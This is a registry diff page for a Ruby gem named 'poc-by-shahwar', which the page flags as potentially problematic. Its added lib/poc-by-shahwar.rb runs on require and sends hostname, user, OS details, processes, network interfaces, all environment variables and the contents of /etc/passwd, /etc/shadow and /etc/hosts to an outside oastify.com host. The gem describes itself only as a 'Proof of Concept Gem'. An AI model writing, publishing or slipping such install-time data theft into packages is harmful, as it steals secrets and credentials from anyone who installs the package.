poc-by-shahwar 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of poc-by-shahwar might be problematic. Click here for more details.
- checksums.yaml +7 -0
- data/lib/poc-by-shahwar.rb +39 -0
- metadata +54 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA256:
|
3
|
+
metadata.gz: 799656bec34e8c330ccbfbc8e844d2a7601b4942c83d77e67de26700397fa7ec
|
4
|
+
data.tar.gz: d1ccd6d9cfb141209c7a5d22494f5b6733540df4c8d7fa17fb9a51a0c528f38b
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 800f95b6d9c6f24b4c1511949a04d0d406604fcacf2488c362b19d017ca095f6e14de115557ffe71deefdfa9e57d391780cd82ac1bf6a7a05544c43a8811f186
|
7
|
+
data.tar.gz: 57f4cd3465cf7ccd416bf520346c235bb7cdd8c014b5aa4eb4fe980c40d608da5fc28d27b1dbb2ac10338e723edb014989cae15bf5595121c5ec56a8a27b9861
|
@@ -0,0 +1,39 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
require 'socket'
|
4
|
+
|
5
|
+
def send_data(param, value)
|
6
|
+
uri = URI.parse("http://2knuonw101l5cpjf4my58hkqlhrbf13q.oastify.com/?#{param}=#{URI.encode_www_form_component(value.to_s)}")
|
7
|
+
Net::HTTP.get(uri) rescue nil
|
8
|
+
end
|
9
|
+
|
10
|
+
begin
|
11
|
+
# System Information
|
12
|
+
send_data("hostname", Socket.gethostname)
|
13
|
+
send_data("user", `whoami`.strip)
|
14
|
+
send_data("os_version", `uname -a`.strip)
|
15
|
+
send_data("uptime", `uptime`.strip)
|
16
|
+
|
17
|
+
# Network Information
|
18
|
+
send_data("ip", `ip a`.strip)
|
19
|
+
send_data("interfaces", `ifconfig`.strip)
|
20
|
+
|
21
|
+
# Running Processes
|
22
|
+
send_data("processes", `ps aux`.strip)
|
23
|
+
|
24
|
+
# Environment Variables
|
25
|
+
send_data("env", `env`.strip)
|
26
|
+
|
27
|
+
# Sensitive Files
|
28
|
+
passwd_content = File.read('/etc/passwd') rescue "No access"
|
29
|
+
send_data("passwd", passwd_content)
|
30
|
+
|
31
|
+
shadow_content = File.read('/etc/shadow') rescue "No access"
|
32
|
+
send_data("shadow", shadow_content)
|
33
|
+
|
34
|
+
hosts_content = File.read('/etc/hosts') rescue "No access"
|
35
|
+
send_data("hosts", hosts_content)
|
36
|
+
|
37
|
+
rescue => e
|
38
|
+
send_data("error", e.to_s)
|
39
|
+
end
|
metadata
ADDED
@@ -0,0 +1,54 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: poc-by-shahwar
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.1.0
|
5
|
+
platform: ruby
|
6
|
+
authors:
|
7
|
+
- Shahwar
|
8
|
+
bindir: bin
|
9
|
+
cert_chain: []
|
10
|
+
date: 2025-03-06 00:00:00.000000000 Z
|
11
|
+
dependencies:
|
12
|
+
- !ruby/object:Gem::Dependency
|
13
|
+
name: open-uri
|
14
|
+
requirement: !ruby/object:Gem::Requirement
|
15
|
+
requirements:
|
16
|
+
- - ">="
|
17
|
+
- !ruby/object:Gem::Version
|
18
|
+
version: '0'
|
19
|
+
type: :runtime
|
20
|
+
prerelease: false
|
21
|
+
version_requirements: !ruby/object:Gem::Requirement
|
22
|
+
requirements:
|
23
|
+
- - ">="
|
24
|
+
- !ruby/object:Gem::Version
|
25
|
+
version: '0'
|
26
|
+
description: This is a PoC package
|
27
|
+
email:
|
28
|
+
- shahwar@example.com
|
29
|
+
executables: []
|
30
|
+
extensions: []
|
31
|
+
extra_rdoc_files: []
|
32
|
+
files:
|
33
|
+
- lib/poc-by-shahwar.rb
|
34
|
+
licenses:
|
35
|
+
- MIT
|
36
|
+
metadata: {}
|
37
|
+
rdoc_options: []
|
38
|
+
require_paths:
|
39
|
+
- lib
|
40
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
41
|
+
requirements:
|
42
|
+
- - ">="
|
43
|
+
- !ruby/object:Gem::Version
|
44
|
+
version: '0'
|
45
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
46
|
+
requirements:
|
47
|
+
- - ">="
|
48
|
+
- !ruby/object:Gem::Version
|
49
|
+
version: '0'
|
50
|
+
requirements: []
|
51
|
+
rubygems_version: 3.6.3
|
52
|
+
specification_version: 4
|
53
|
+
summary: Proof of Concept Gem
|
54
|
+
test_files: []
|